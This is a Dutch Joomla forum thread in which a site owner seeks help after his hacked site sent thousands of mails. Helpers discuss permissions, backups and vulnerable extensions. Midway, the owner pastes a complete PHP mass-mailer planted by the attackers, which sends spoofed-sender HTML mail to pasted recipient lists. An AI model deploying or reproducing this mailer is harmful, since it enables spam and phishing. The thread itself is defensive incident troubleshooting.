Vermeld in iedere vraag duidelijk:
- De versie van Joomla! 2.5 die je gebruikt
- De volledige url van je website indien mogelijk.
- De versie van de extensie waar de vraag over gaat.
opgelost Site gehacked DEAD.letter geplaatst
Site gehacked DEAD.letter geplaatst
29 okt 2013 18:47755 voor mappen en 644 voor bestanden.MAP-Rechten, ik verander daar zelf niets aan, maar hoe moeten welke staan, Ik heb geen idee
Groetjes, Astrid
Gebruik de zoekfunctie van dit forum voordat je een nieuwe vraag plaatst. Vragen uitsluitend via dit forum. yndi.nl - kvk 17157725 | Is je vraag beantwoord? Dan kan je het draadje zelf
sluiten
. Wil je Joomla!NL steunen? Dat kan met een donatie. |
- Astrid
- Moderator + Technisch team
- Berichten: 37439
Site gehacked DEAD.letter geplaatst
30 okt 2013 08:55
Aanvulling op Astrid.
configuration.php bij voorkeur op 444 (mits je hosting omgeving dit accepteert, anders op 644)
configuration.php bij voorkeur op 444 (mits je hosting omgeving dit accepteert, anders op 644)
- Otto
- Bezoeker
Site gehacked DEAD.letter geplaatst
30 okt 2013 10:02
Mappen staan op 755
Bestanden staan op 644
Configuration.php staat op 444
map .procmail staat op 711 = is dat OKE ?
Bestanden staan op 644
Configuration.php staat op 444
map .procmail staat op 711 = is dat OKE ?
- EdGrassere
- Heeft onderwerp gestart
- Regelmatige bezoeker van Joomla!NL
- Berichten: 246
Site gehacked DEAD.letter geplaatst
30 okt 2013 10:19
.procmail is geen Joomla map. Zou hierover even contact met je hoster opnemen.
Groetjes, Astrid
Gebruik de zoekfunctie van dit forum voordat je een nieuwe vraag plaatst. Vragen uitsluitend via dit forum. yndi.nl - kvk 17157725 | Is je vraag beantwoord? Dan kan je het draadje zelf
sluiten
. Wil je Joomla!NL steunen? Dat kan met een donatie. |
- Astrid
- Moderator + Technisch team
- Berichten: 37439
Site gehacked DEAD.letter geplaatst
30 okt 2013 10:32
Blijkt inderdaad van hoster te zijn en moet zo staan.
Ik heb een bestand gevonden dat volgens van de hackers is met volgende inhoud
Kunnen jullie hier iets mee ?
Ik heb een bestand gevonden dat volgens van de hackers is met volgende inhoud
Code:
<?php
$testa = $_POST['veio'];
if($testa != "") {
$message = $_POST['html'];
$subject = $_POST['assunto'];
$nome = $_POST['nome'];
$de = $_POST['de'];
$to = $_POST['emails'];
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$email = explode("\n", $to);
$headers .= "From: ".$nome." <".$de.">\r\n";
$message = stripslashes($message);
$i = 0;
$count = 1;
while($email[$i]) {
$ok = "ok";
if(mail($email[$i], $subject, $message, $headers))
echo "* Número: $count <b>".$email[$i]."</b> <font color=green>Google OK!</font><br><hr>";
else
echo "* Número: $count <b>".$email[$i]."</b> <font color=red>Google ERROR!</font><br><hr>";
$i++;
$count++;
}
$count--;
if($ok == "ok")
echo "";
}
?>
<html>
<head>
<title>:: ENVIADORES GOOGLE - PRIV8 ::</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style>
body {
margin-left: 0;
margin-right: 0;
margin-top: 0;
margin-bottom: 0;
}
.titulo {
font-family: Arial, Helvetica, sans-serif;
font-size: 70px;
color: #000000;
font-weight: bold;
}
.normal {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
color: #000000;
}
.form {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
color: #333333;
background-color: #FFFFFF;
border: 1px dashed #666666;
}
.texto {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
}
.alerta {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #990000;
font-size: 10px;
}
</style>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim">
<table width="590" height="511" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal">
<tr>
<td width="588" height="25" align="center" bgcolor="#FFFFFF"><A href="http://www.goglogo.com/s.asp?lo=Search+Nem%2DMartins" border="0"><IMG border=0 src="http://www.goglogo.com/images/m3l.gif"><IMG border=0 src="http://www.goglogo.com/images/a0.gif"><IMG border=0 src="http://www.goglogo.com/images/r1.gif"><IMG border=0 src="http://www.goglogo.com/images/t2.gif"><IMG border=0 src="http://www.goglogo.com/images/i3.gif"><IMG border=0 src="http://www.goglogo.com/images/n0.gif"><IMG border=0 src="http://www.goglogo.com/images/s1.gif"></A>
</tr>
<tr>
<td height="194" valign="top" bgcolor="#FFFFFF">
<table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="444">
<tr>
<td align="right" height="17"><span class="texto"><font size="3">De:<br>
<br>
E-mail:</font> </span></td>
<td width="65%" height="17">
<input name="nome" type="text" class="form" id="nome" style="width:50%" value="" size="1" >
<br>
<br>
<input name="de" type="text" class="form" id="de" style="width:49%" value="" size="1"></td>
</tr>
<tr>
<td align="right" height="20"><font size="3"><span class="texto"><br>
Assunto:</span></font></td>
<td height="17">
<br>
<input name="assunto" type="text" class="form" id="assunto" style="width:100%" value="" size="1" ></td>
</tr>
<tr align="center" bgcolor="#FFFFFF">
<td height="17" colspan="2"><span class="texto"><font size="3"><br>
Código
HTML:<br>
</font></span></td>
</tr>
<tr align="right">
<td height="146" colspan="2" valign="top"><br>
<textarea name="html" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="html" cols="1">Coloque sua Engenharia.
</textarea>
<span class="alerta"><font color="#FF0000">*TEXTO EM HTML</font></span></td>
</tr>
<tr align="center" bgcolor="#FFFFFF">
<td height="47" colspan="2"><p><span class="texto"><font size="3">Lista
de emails:</font></span></td>
</tr>
<tr align="right">
<td height="136" colspan="2" valign="top"><font color="#003399"><br>
<textarea name="emails" style="width:100%" rows="8" wrap="VIRTUAL" class="form" id="emails" cols="1">Coloque sua Lista de Emails.
</textarea>
<span class="alerta"><font color="#FF0000">*SEPARADO POR QUEBRA DE LINHA</font></span></font></td>
</tr>
<tr>
<td height="26" colspan="2" align="right" valign="top" bgcolor="#FFFFFF"><div align="center">
<input type="submit" name="Submit" value="[__________+++Google Sender+++__________]">
</div></td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="15" align="center" bgcolor="#FFFFFF"><font size="4" face="Verdana, Arial, Helvetica, sans-serif"><strong>.............................PowereD
bY r00t.............................</strong></font></td>
</tr>
</table>
<div align="left"></div>
</form>
</body>
- EdGrassere
- Heeft onderwerp gestart
- Regelmatige bezoeker van Joomla!NL
- Berichten: 246
Site gehacked DEAD.letter geplaatst
30 okt 2013 10:40
Nee, en een enkel bestand wil nog niets zeggen. Zoals al eerder aangegeven: zet een schone backup terug. Enige andere mogelijkheid om alles eruit te krijgen is eventueel om je mappen en bestanden naar je computer te halen, lokaal een schone kopie site te installeren met exact dezelfde extensies (hoeft verder geen content of zo in te staan) en de twee sites met WinMerge te vergelijken.
Kans is namelijk groot dat er nog ergens een javascript of andersoortig bestandje staat dat net zo snel als jij bestandjes verwijdert, die bestandjes weer terugzet.
Kans is namelijk groot dat er nog ergens een javascript of andersoortig bestandje staat dat net zo snel als jij bestandjes verwijdert, die bestandjes weer terugzet.
Groetjes, Astrid
Gebruik de zoekfunctie van dit forum voordat je een nieuwe vraag plaatst. Vragen uitsluitend via dit forum. yndi.nl - kvk 17157725 | Is je vraag beantwoord? Dan kan je het draadje zelf
sluiten
. Wil je Joomla!NL steunen? Dat kan met een donatie. |
- Astrid
- Moderator + Technisch team
- Berichten: 37439
Site gehacked DEAD.letter geplaatst
30 okt 2013 10:53
Ja Astrid, heb al de oudste backup die ik heb terug gezet, helaas lost dat het probleem niet op.
Opnieuw op zetten van de site lokaal heb ik op dit moment geen tijd voor.
Volgens mijn hoster zijn ze binnengekomen via de simplepie module.
Via de online scans zoals :Sucuri site check & onlinelink scan kan ik het probleem niet vinden.
Als het niet anders kan zal ik hem lokaal opnieuw moeten bouwen.
Opnieuw op zetten van de site lokaal heb ik op dit moment geen tijd voor.
Volgens mijn hoster zijn ze binnengekomen via de simplepie module.
Via de online scans zoals :Sucuri site check & onlinelink scan kan ik het probleem niet vinden.
Als het niet anders kan zal ik hem lokaal opnieuw moeten bouwen.
- EdGrassere
- Heeft onderwerp gestart
- Regelmatige bezoeker van Joomla!NL
- Berichten: 246
Site gehacked DEAD.letter geplaatst
30 okt 2013 12:48 - 30 okt 2013 12:48
Hallo Ed,
Niet om het 1 of ander, maar wees je bewust van het volgende.
Als je een dead.letter bestand hebt, dan gaat het om een niet af te leveren mailbericht. (Linux/Unix host)
Dat staat volledig los van het al dan niet gehackt zijn.
Waaruit blijkt volgens jou dat je gehackt bent?
Niet om het 1 of ander, maar wees je bewust van het volgende.
Als je een dead.letter bestand hebt, dan gaat het om een niet af te leveren mailbericht. (Linux/Unix host)
Dat staat volledig los van het al dan niet gehackt zijn.
Waaruit blijkt volgens jou dat je gehackt bent?
- Otto
- Bezoeker
Site gehacked DEAD.letter geplaatst
30 okt 2013 12:50
Hoi Otto,
Ik kreeg bijna 9000 mails in mijn mailbox die niet konden worden afgeleverd.
En mijn hoster melde mij dat ik was gehacked.
Ik kreeg bijna 9000 mails in mijn mailbox die niet konden worden afgeleverd.
En mijn hoster melde mij dat ik was gehacked.
- EdGrassere
- Heeft onderwerp gestart
- Regelmatige bezoeker van Joomla!NL
- Berichten: 246
Site gehacked DEAD.letter geplaatst
30 okt 2013 13:27
Hoi Ed,
Als je site 9.000 e-mails verstuurd, dan hoef je niet gehackt te zijn.
Dit wordt in veel gevallen door een lekke extensie veroorzaakt die je gebruikt.
Je maakt al gebruik van de nieuwste versie van Joomla 2.5, maar van welke extensies maak je gebruik?
Zijn deze up-to-date?
Staan er extensies die je gebruikt op de vulnarable extensie list?
Maak je gebruik van een captcha of andere wijze om misbruik van je formulieren te voorkomen?
Uit het mailbestand dat je geplaatst hebt valt niet te herleiden waardoor en waarmee het gegenereerd is.
Als je toegang hebt tot SMTP server, dan kun je eventueel het exact verzendende pad op de server achterhalen.
Ik vermoed dat je niet gehacked bent, maar als mail relay misbruikt wordt.
Als je site 9.000 e-mails verstuurd, dan hoef je niet gehackt te zijn.
Dit wordt in veel gevallen door een lekke extensie veroorzaakt die je gebruikt.
Je maakt al gebruik van de nieuwste versie van Joomla 2.5, maar van welke extensies maak je gebruik?
Zijn deze up-to-date?
Staan er extensies die je gebruikt op de vulnarable extensie list?
Maak je gebruik van een captcha of andere wijze om misbruik van je formulieren te voorkomen?
Uit het mailbestand dat je geplaatst hebt valt niet te herleiden waardoor en waarmee het gegenereerd is.
Als je toegang hebt tot SMTP server, dan kun je eventueel het exact verzendende pad op de server achterhalen.
Ik vermoed dat je niet gehacked bent, maar als mail relay misbruikt wordt.
- Otto
- Bezoeker
Site gehacked DEAD.letter geplaatst
30 okt 2013 14:58
Hoi Otto,
Denk het ook als ik jou comment lees.
OP de vulnarable extensie list staan 2 extenties die ik gebruik :
- XMAP
- SH404SEF
Zal deze verwijderen en eens kijken of dat helpt
Denk het ook als ik jou comment lees.
OP de vulnarable extensie list staan 2 extenties die ik gebruik :
- XMAP
- SH404SEF
Zal deze verwijderen en eens kijken of dat helpt
- EdGrassere
- Heeft onderwerp gestart
- Regelmatige bezoeker van Joomla!NL
- Berichten: 246
Site gehacked DEAD.letter geplaatst
30 okt 2013 15:12
Hoi Ed,
Update deze beide naar de laatste versie. Verwijderen is niet noodzakelijk.
Als men e-mails verzend, gebeurt dit meestal via formulieren of tell-a-friend functies.
Wat gebruik je hiervoor?
Update deze beide naar de laatste versie. Verwijderen is niet noodzakelijk.
Als men e-mails verzend, gebeurt dit meestal via formulieren of tell-a-friend functies.
Wat gebruik je hiervoor?
- Otto
- Bezoeker
Tijd voor maken pagina: 0.771 seconden